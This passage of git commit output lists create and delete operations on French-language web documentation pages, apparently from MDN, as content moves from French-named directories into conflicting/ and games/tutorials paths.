mode 100644 files/fr/apprendre/html/tableaux/index.html delete mode 100644 files/fr/apprendre/html/tableaux/structuring_planet_data/index.html delete mode 100644 "files/fr/apprendre/html/\303\251crire_une_simple_page_html/index.html" delete mode 100644 files/fr/apprendre/index.html delete mode 100644 files/fr/apprendre/index/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/build_your_own_function/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/conditionals/index.html delete mode 100644 "files/fr/apprendre/javascript/building_blocks/ev\303\250nements/index.html" delete mode 100644 files/fr/apprendre/javascript/building_blocks/fonctions/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/image_gallery/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/looping_code/index.html delete mode 100644 files/fr/apprendre/javascript/building_blocks/return_values/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/client-side_storage/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/drawing_graphics/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/fetching_data/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/introduction/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/manipulating_documents/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/third_party_apis/index.html delete mode 100644 files/fr/apprendre/javascript/client-side_web_apis/video_and_audio_apis/index.html delete mode 100644 files/fr/apprendre/javascript/index.html delete mode 100644 files/fr/apprendre/le_fonctionnement_des_liens_sur_le_web/index.html delete mode 100644 files/fr/apprendre/mettre_en_place_un_environnement_de_travail/index.html delete mode 100644 files/fr/apprendre/outils_et_tests/github/index.html delete mode 100644 files/fr/apprendre/outils_et_tests/index.html delete mode 100644 files/fr/apprendre/ouvrir_un_fichier_dans_un_navigateur_web/index.html delete mode 100644 files/fr/apprendre/page_vs_site_vs_serveur_vs_moteur_recherche/index.html delete mode 100644 "files/fr/apprendre/publier_sur_le_web_combien_\303\247a_co\303\273te/index.html" delete mode 100644 files/fr/apprendre/qu_est-ce_qu_un_serveur_web/index.html delete mode 100644 "files/fr/apprendre/quels_logiciels_sont_n\303\251cessaires_pour_construire_un_site_web/index.html" delete mode 100644 files/fr/apprendre/tester_le_bon_fonctionnement_de_votre_site_web/index.html delete mode 100644 "files/fr/apprendre/transf\303\251rer_des_fichiers_vers_un_serveur_web/index.html" delete mode 100644 files/fr/apprendre/tutoriels/comment_construire_un_site_web/index.html delete mode 100644 files/fr/apprendre/tutoriels/index.html delete mode 100644 "files/fr/apprendre/tutoriels/les_bases_de_la_s\303\251curit\303\251_informatique/index.html" delete mode 100644 files/fr/apprendre/utiliser_les_pages_github/index.html delete mode 100644 files/fr/astuces_css/couleurs_et_fonds/index.html delete mode 100644 files/fr/astuces_css/index.html delete mode 100644 files/fr/astuces_css/liens/index.html delete mode 100644 files/fr/astuces_css/tableaux/index.html delete mode 100644 "files/fr/bugs_importants_corrig\303\251s_dans_firefox_3/index.html" delete mode 100644 files/fr/changements_dans_gecko_1.9_affectant_les_sites_web/index.html delete mode 100644 files/fr/chrome/index.html delete mode 100644 "files/fr/comment_cr\303\251er_un_arbre_dom/index.html" delete mode 100644 files/fr/compilation_et_installation/index.html create mode 100644 files/fr/conflicting/glossary/chrome/index.html create mode 100644 files/fr/conflicting/glossary/doctype/index.html create mode 100644 files/fr/conflicting/glossary/dom/index.html create mode 100644 files/fr/conflicting/learn/common_questions/set_up_a_local_testing_server/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/selectors/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/selectors_9bc80fea302c91cd60fb72c4e83c83e9/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/styling_tables/index.html create mode 100644 files/fr/conflicting/learn/css/building_blocks/values_and_units/index.html create mode 100644 files/fr/conflicting/learn/css/css_layout/index.html create mode 100644 files/fr/conflicting/learn/css/css_layout/introduction/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_is_structured/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_works/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_works_cdccf923f6bd040e8d243ee03d223ddc/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_works_cf31463f874ecd8e10e648dacde4a995/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_works_dba75d8c56ccc773f03d946ce2dbb25c/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/how_css_works_ecbda2160290b96c02dcfa8276c0333a/index.html create mode 100644 files/fr/conflicting/learn/css/first_steps/index.html create mode 100644 files/fr/conflicting/learn/css/styling_text/fundamentals/index.html create mode 100644 files/fr/conflicting/learn/css/styling_text/fundamentals_8249b1bf53d09b06ed51f43697880b5b/index.html create mode 100644 files/fr/conflicting/learn/css/styling_text/fundamentals_9e7ba587262abbb02304cbc099c1f0d8/index.html create mode 100644 files/fr/conflicting/learn/css/styling_text/styling_lists/index.html create mode 100644 files/fr/conflicting/learn/css/styling_text/styling_lists_06e9538892250c13976a84639f0dadd2/index.html create mode 100644 files/fr/conflicting/learn/getting_started_with_the_web/dealing_with_files/index.html create mode 100644 files/fr/conflicting/learn/getting_started_with_the_web/index.html create mode 100644 files/fr/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_b235e00aa38ee1d4b535fc921395f446/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting_c8b0b9eb353375fb9a4679f68164e682/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/creating_hyperlinks_10fd94f15ce1a469a3483e0478cb5d85/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/document_and_website_structure/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/getting_started/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_42ad0dcdd765b60d8adda1f6293954b6/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_e22cde852fd55bbd8b014a4eac49a3bc/index.html create mode 100644 files/fr/conflicting/learn/html/introduction_to_html/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/images_in_html_2c0377f7605f693cad465c2b4839addc/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/other_embedding_technologies_fbe06d127f73df4dd2f56a31b7c2bd2d/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html create mode 100644 files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content_040b1c36f4218ba488ffb0284dfe52bf/index.html create mode 100644 files/fr/conflicting/learn/index.html create mode 100644 files/fr/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html create mode 100644 files/fr/conflicting/learn/javascript/objects/index.html create mode 100644 files/fr/conflicting/learn_370bfb0fa23e42f4384f010341852c43/index.html create mode 100644 files/fr/conflicting/learn_6767a192c90d2c9c5179cf004fce2ee8/index.html create mode 100644 files/fr/conflicting/mdn/contribute/index.html create mode 100644 files/fr/conflicting/mdn/tools/index.html create mode 100644 files/fr/conflicting/mozilla/add-ons/webextensions/api/menus/overridecontext/index.html create mode 100644 files/fr/conflicting/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.html create mode 100644 files/fr/conflicting/tools/debugger/how_to/set_watch_expressions/index.html create mode 100644 files/fr/conflicting/tools/memory/basic_operations/index.html create mode 100644 files/fr/conflicting/tools/memory/basic_operations_9264f1c8b3be17d004821ca45ca04d3a/index.html create mode 100644 files/fr/conflicting/tools/memory/basic_operations_f2c86b478396e7a233344f64c4d4f1da/index.html create mode 100644 files/fr/conflicting/tools/page_inspector/ui_tour/index.html create mode 100644 files/fr/conflicting/tools/performance/waterfall/index.html create mode 100644 files/fr/conflicting/tools/responsive_design_mode/index.html create mode 100644 files/fr/conflicting/web/accessibility/index.html create mode 100644 files/fr/conflicting/web/api/canvas_api/tutorial/index.html create mode 100644 files/fr/conflicting/web/api/document/createevent/index.html create mode 100644 files/fr/conflicting/web/api/document_object_model/index.html create mode 100644 files/fr/conflicting/web/api/document_object_model_03f6e13c52ad7c539d9b4c33c51ac4a3/index.html create mode 100644 files/fr/conflicting/web/api/document_object_model_656f0e51418b39c498011268be9b3a10/index.html create mode 100644 files/fr/conflicting/web/api/formdata/using_formdata_objects/index.html create mode 100644 files/fr/conflicting/web/api/globaleventhandlers/onresize/index.html create mode 100644 files/fr/conflicting/web/api/htmlmediaelement/abort_event/index.html create mode 100644 files/fr/conflicting/web/api/htmlmediaelement/ended_event/index.html create mode 100644 files/fr/conflicting/web/api/index.html create mode 100644 files/fr/conflicting/web/api/node/getrootnode/index.html create mode 100644 files/fr/conflicting/web/api/node/index.html create mode 100644 files/fr/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html create mode 100644 files/fr/conflicting/web/api/selection/index.html create mode 100644 files/fr/conflicting/web/api/url/index.html create mode 100644 files/fr/conflicting/web/api/web_storage_api/index.html create mode 100644 files/fr/conflicting/web/api/web_workers_api/using_web_workers/index.html create mode 100644 files/fr/conflicting/web/api/webrtc_api/index.html create mode 100644 files/fr/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html create mode 100644 files/fr/conflicting/web/api/window/localstorage/index.html create mode 100644 files/fr/conflicting/web/api/xsltprocessor/index.html create mode 100644 files/fr/conflicting/web/api/xsltprocessor_197eea6e529b0a946d29ce7cc292e7ef/index.html create mode 100644 files/fr/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html create mode 100644 files/fr/conflicting/web/css/@viewport/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_3ecbd2877baedebcfaffc13eaa7d61ce/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_516ab4b0283b5b2231fb657505e22440/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_6e9c91ec34cdb0393d301240d0d50d84/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_a47f799d4189f98a73bc55899628d6d7/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_c5f2dc316e069e8c32ab24f9117600a7/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_d03ebc763769680c55d1a4258592d3ed/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html create mode 100644 files/fr/conflicting/web/css/@viewport_ff9d4f4f351256d9fdb3d21397eb3880/index.html create mode 100644 files/fr/conflicting/web/css/_colon_is/index.html create mode 100644 files/fr/conflicting/web/css/_colon_placeholder-shown/index.html create mode 100644 files/fr/conflicting/web/css/_doublecolon_placeholder/index.html create mode 100644 files/fr/conflicting/web/css/border-collapse/index.html create mode 100644 files/fr/conflicting/web/css/box-ordinal-group/index.html create mode 100644 files/fr/conflicting/web/css/color_value/index.html create mode 100644 files/fr/conflicting/web/css/column-gap/index.html create mode 100644 files/fr/conflicting/web/css/css_backgrounds_and_borders/index.html create mode 100644 files/fr/conflicting/web/css/css_color/index.html create mode 100644 files/fr/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html create mode 100644 files/fr/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html create mode 100644 files/fr/conflicting/web/css/cursor/index.html create mode 100644 files/fr/conflicting/web/css/filter_effects/index.html create mode 100644 files/fr/conflicting/web/css/float/index.html create mode 100644 files/fr/conflicting/web/css/font-variant/index.html create mode 100644 files/fr/conflicting/web/css/index.html create mode 100644 files/fr/conflicting/web/css/mask-image/index.html create mode 100644 files/fr/conflicting/web/css/mozilla_extensions/index.html create mode 100644 files/fr/conflicting/web/css/pseudo-classes/index.html create mode 100644 files/fr/conflicting/web/css/scroll-snap-type/index.html create mode 100644 files/fr/conflicting/web/css/shape-outside/index.html create mode 100644 files/fr/conflicting/web/css/url()/index.html create mode 100644 files/fr/conflicting/web/css/url()_168028c4e5edd9e19c061adb4b604d4f/index.html create mode 100644 files/fr/conflicting/web/css/user-select/index.html create mode 100644 files/fr/conflicting/web/css/width/index.html create mode 100644 files/fr/conflicting/web/guide/events/creating_and_triggering_events/index.html create mode 100644 files/fr/conflicting/web/guide/index.html create mode 100644 files/fr/conflicting/web/html/element/index.html create mode 100644 files/fr/conflicting/web/html/global_attributes/index.html create mode 100644 files/fr/conflicting/web/http/basics_of_http/mime_types/index.html create mode 100644 files/fr/conflicting/web/javascript/equality_comparisons_and_sameness/index.html create mode 100644 files/fr/conflicting/web/javascript/guide/index.html create mode 100644 files/fr/conflicting/web/javascript/guide/introduction/index.html create mode 100644 files/fr/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html create mode 100644 files/fr/conflicting/web/javascript/guide/regular_expressions/assertions/index.html create mode 100644 files/fr/conflicting/web/javascript/inheritance_and_the_prototype_chain/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/date/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/error/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/function/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/internalerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/collator/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/listformat/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/locale/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/numberformat/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/pluralrules/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/intl/relativetimeformat/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/json/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/map/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/number/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/object/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/object/tosource/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/set/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/string/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/urierror/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/webassembly/global/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/webassembly/instance/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/webassembly/memory/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/webassembly/module/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/global_objects/webassembly/table/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators_03cb648b1d07bbaa8b57526b509d6d55/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators_201bc9aef1615ff38f215c35d4cde8c9/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators_2be16fc74d75a7c9dca0abca1dc5883b/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators_688eef608213025193cd6b8e1e75b5c3/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/operators_d0fb75b0fac950a91a017a1f497c6a1f/index.html create mode 100644 files/fr/conflicting/web/javascript/reference/statements/switch/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_0d5c38b9aa908cbb52e4c39037b4f28b/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_12fa0bab73df8b67470cc2aaa3a2effc/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_7b3e1886320599eacfee6834ead473f1/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_954d3e6cc1e06f006b865b74099f55cf/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_ab4d34f3f29326f76d3aab740be03d31/index.html create mode 100644 files/fr/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html create mode 100644 files/fr/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html delete mode 100644 "files/fr/contr\303\264les_dhtml_personnalis\303\251s_navigables_au_clavier/index.html" delete mode 100644 "files/fr/css/premiers_pas/bo\303\256tes/index.html" delete mode 100644 "files/fr/css/premiers_pas/cascade_et_h\303\251ritage/index.html" delete mode 100644 files/fr/css/premiers_pas/couleurs/index.html delete mode 100644 files/fr/css/premiers_pas/des_css_lisibles/index.html delete mode 100644 files/fr/css/premiers_pas/fonctionnement_de_css/index.html delete mode 100644 files/fr/css/premiers_pas/graphiques_svg/index.html delete mode 100644 files/fr/css/premiers_pas/index.html delete mode 100644 files/fr/css/premiers_pas/javascript/index.html delete mode 100644 "files/fr/css/premiers_pas/les_s\303\251lecteurs/index.html" delete mode 100644 files/fr/css/premiers_pas/listes/index.html delete mode 100644 files/fr/css/premiers_pas/mise_en_page/index.html delete mode 100644 "files/fr/css/premiers_pas/m\303\251dias/index.html" delete mode 100644 files/fr/css/premiers_pas/pourquoi_utiliser_css/index.html delete mode 100644 "files/fr/css/premiers_pas/pr\303\251sentation_des_css/index.html" delete mode 100644 files/fr/css/premiers_pas/styles_de_texte/index.html delete mode 100644 files/fr/css/premiers_pas/tableaux/index.html delete mode 100644 files/fr/dhtml/index.html delete mode 100644 files/fr/dom/dispatchevent_exemple/index.html delete mode 100644 files/fr/dom/storage/index.html delete mode 100644 "files/fr/d\303\251veloppement_web/d\303\251velopper_des_sites_\303\240_compatibilit\303\251_descendante/index.html" delete mode 100644 "files/fr/d\303\251veloppement_web/index.html" delete mode 100644 "files/fr/d\303\251veloppement_web/introduction_au_d\303\251veloppement_web/index.html" delete mode 100644 files/fr/explorer_un_tableau_html_avec_des_interfaces_dom_et_javascript/index.html delete mode 100644 files/fr/faq_sur_les_transformations_xsl_dans_mozilla/index.html delete mode 100644 files/fr/fuel/window/devicemotion_event/index.html delete mode 100644 files/fr/fuel/window/deviceorientation/index.html create mode 100644 files/fr/games/anatomy/index.html create mode 100644 files/fr/games/examples/index.html create mode 100644 files/fr/games/index.html create mode 100644 files/fr/games/index/index.html create mode 100644 files/fr/games/introduction/index.html create mode 100644 files/fr/games/introduction_to_html5_game_development/index.html create mode 100644 files/fr/games/publishing_games/game_monetization/index.html create mode 100644 files/fr/games/publishing_games/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_phaser/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html create mode 100644 files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html create mode 100644 files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.html create mode 100644 files/fr/games/tutorials/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_phaser/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/build_the_brick_field/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/creer_element_canvas_et_afficher/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/detection_colisions/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/faire_rebondir_la_balle_sur_les_murs/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/finitions/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/game_over/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/mouse_controls/index.html delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/move_the_ball/index.html delete mode 100644 "files/fr/games/workflows/2d_breakout_game_pure_javascript/paddle_et_contr\303\264le_clavier/index.html" delete mode 100644 files/fr/games/workflows/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html delete mode 100644 files/fr/games/workflows/html5_gamedev_phaser_device_orientation_fr/index.html delete mode 100644 files/fr/games/workflows/index.html delete mode 100644 files/fr/glossaire/404/index.html delete mode 100644 files/fr/glossaire/502/index.html delete mode 100644 files/fr/glossaire/abstraction/index.html delete mode 100644 "files/fr/glossaire/accessibilit\303\251/index.html" delete mode 100644 files/fr/glossaire/adobe_flash/index.html delete mode 100644 files/fr/glossaire/ajax/index.html delete mode 100644 files/fr/glossaire/algorithme/index.html delete mode 100644 files/fr/glossaire/alignment_container/index.html delete mode 100644 files/fr/glossaire/alignment_subject/index.html delete mode 100644 files/fr/glossaire/alpn/index.html delete mode 100644 "files/fr/glossaire/am\303\251lioration_progressive/index.html" delete mode 100644 files/fr/glossaire/api/index.html delete mode 100644 files/fr/glossaire/apple_safari/index.html delete mode 100644 files/fr/glossaire/application_context/index.html delete mode 100644 files/fr/glossaire/applications_web_modernes/index.html delete mode 100644 files/fr/glossaire/architecture_de_l_information/index.html delete mode 100644 files/fr/glossaire/argument/index.html delete mode 100644 files/fr/glossaire/aria/index.html delete mode 100644 files/fr/glossaire/arpa/index.html delete mode 100644 files/fr/glossaire/arpanet/index.html delete mode 100644 files/fr/glossaire/array/index.html delete mode 100644 files/fr/glossaire/ascii/index.html delete mode 100644 files/fr/glossaire/asynchronous/index.html delete mode 100644 files/fr/glossaire/atag/index.html delete mode 100644 files/fr/glossaire/attaque_dos/index.html delete mode 100644 files/fr/glossaire/attribut/index.html delete mode 100644 files/fr/glossaire/attribut_global/index.html delete mode 100644 files/fr/glossaire/axe_de_grille/index.html delete mode 100644 files/fr/glossaire/axe_principal/index.html delete mode 100644 files/fr/glossaire/axe_transversal/index.html delete mode 100644 files/fr/glossaire/balise/index.html delete mode 100644 files/fr/glossaire/bandwidth/index.html delete mode 100644 files/fr/glossaire/beacon/index.html delete mode 100644 files/fr/glossaire/bidi/index.html delete mode 100644 files/fr/glossaire/bigint/index.html delete mode 100644 files/fr/glossaire/blink/index.html delete mode 100644 files/fr/glossaire/block_cipher_mode_of_operation/index.html delete mode 100644 files/fr/glossaire/boolean/index.html delete mode 100644 files/fr/glossaire/boot2gecko/index.html delete mode 100644 files/fr/glossaire/bootstrap/index.html delete mode 100644 files/fr/glossaire/breadcrumb/index.html delete mode 100644 files/fr/glossaire/brotli_compression/index.html delete mode 100644 files/fr/glossaire/browsing_context/index.html delete mode 100644 "files/fr/glossaire/b\303\251zier_curve/index.html" delete mode 100644 files/fr/glossaire/cache/index.html delete mode 100644 files/fr/glossaire/cacheable/index.html delete mode 100644 files/fr/glossaire/caldav/index.html delete mode 100644 files/fr/glossaire/canvas/index.html delete mode 100644 files/fr/glossaire/carddav/index.html delete mode 100644 files/fr/glossaire/cdn/index.html delete mode 100644 files/fr/glossaire/cellule_de_grille/index.html delete mode 100644 "files/fr/glossaire/certificat_num\303\251rique/index.html" delete mode 100644 files/fr/glossaire/certificate_authority/index.html delete mode 100644 "files/fr/glossaire/certifi\303\251/index.html" delete mode 100644 files/fr/glossaire/character/index.html delete mode 100644 files/fr/glossaire/chiffre/index.html delete mode 100644 files/fr/glossaire/chiffrement/index.html delete mode 100644 files/fr/glossaire/chrome/index.html delete mode 100644 files/fr/glossaire/class/index.html delete mode 100644 "files/fr/glossaire/cl\303\251/index.html" delete mode 100644 files/fr/glossaire/cms/index.html delete mode 100644 files/fr/glossaire/codage_caracteres/index.html delete mode 100644 files/fr/glossaire/codec/index.html delete mode 100644 files/fr/glossaire/colonne_de_grille/index.html delete mode 100644 files/fr/glossaire/compile/index.html delete mode 100644 files/fr/glossaire/compression_avec_perte/index.html delete mode 100644 files/fr/glossaire/compression_sans_perte/index.html delete mode 100644 files/fr/glossaire/computer_programming/index.html delete mode 100644 files/fr/glossaire/condensat/index.html delete mode 100644 files/fr/glossaire/conditionnel/index.html delete mode 100644 files/fr/glossaire/constant/index.html delete mode 100644 files/fr/glossaire/constructeur/index.html delete mode 100644 files/fr/glossaire/contexte_d_empilement/index.html delete mode 100644 files/fr/glossaire/conversion_de_type/index.html delete mode 100644 files/fr/glossaire/cookie/index.html delete mode 100644 files/fr/glossaire/copyleft/index.html delete mode 100644 files/fr/glossaire/cors/index.html delete mode 100644 files/fr/glossaire/crlf/index.html delete mode 100644 files/fr/glossaire/cross-site_scripting/index.html delete mode 100644 files/fr/glossaire/crud/index.html delete mode 100644 files/fr/glossaire/cryptanalyse/index.html delete mode 100644 files/fr/glossaire/cryptogramme/index.html delete mode 100644 files/fr/glossaire/cryptographie/index.html delete mode 100644 files/fr/glossaire/csp/index.html delete mode 100644 files/fr/glossaire/csrf/index.html delete mode 100644 files/fr/glossaire/css/index.html delete mode 100644 files/fr/glossaire/curseur_caret/index.html delete mode 100644 files/fr/glossaire/delta/index.html delete mode 100644 files/fr/glossaire/descripteur_(css)/index.html delete mode 100644 files/fr/glossaire/developer_tools/index.html delete mode 100644 files/fr/glossaire/dic/index.html delete mode 100644 files/fr/glossaire/directive_de_navigation/index.html delete mode 100644 files/fr/glossaire/directive_de_rapport/index.html delete mode 100644 "files/fr/glossaire/directive_de_r\303\251cup\303\251ration/index.html" delete mode 100644 files/fr/glossaire/dmz/index.html delete mode 100644 files/fr/glossaire/dns/index.html delete mode 100644 files/fr/glossaire/doctype/index.html delete mode 100644 files/fr/glossaire/document_directive/index.html delete mode 100644 files/fr/glossaire/dom/index.html delete mode 100644 files/fr/glossaire/domaine/index.html delete mode 100644 "files/fr/glossaire/domaine_deuxi\303\250me-niveau/index.html" delete mode 100644 files/fr/glossaire/dominant/index.html delete mode 100644 files/fr/glossaire/dtd/index.html delete mode 100644 files/fr/glossaire/dtmf/index.html delete mode 100644 "files/fr/glossaire/d\303\251chiffrement/index.html" delete mode 100644 "files/fr/glossaire/d\303\251fi_r\303\251ponse/index.html" delete mode 100644 "files/fr/glossaire/d\303\251ni_de_service/index.html" delete mode 100644 "files/fr/glossaire/d\303\251ni_de_service_distribu\303\251/index.html" delete mode 100644 "files/fr/glossaire/d\303\251p\303\264t/index.html" delete mode 100644 "files/fr/glossaire/d\303\251s\303\251rialisation/index.html" delete mode 100644 "files/fr/glossaire/d\303\251tournement_de_session/index.html" delete mode 100644 files/fr/glossaire/ecma/index.html delete mode 100644 files/fr/glossaire/ecmascript/index.html delete mode 100644 files/fr/glossaire/element_vide/index.html delete mode 100644 "files/fr/glossaire/en-t\303\252te/index.html" delete mode 100644 "files/fr/glossaire/en-t\303\252te_de_requ\303\252te/index.html" delete mode 100644 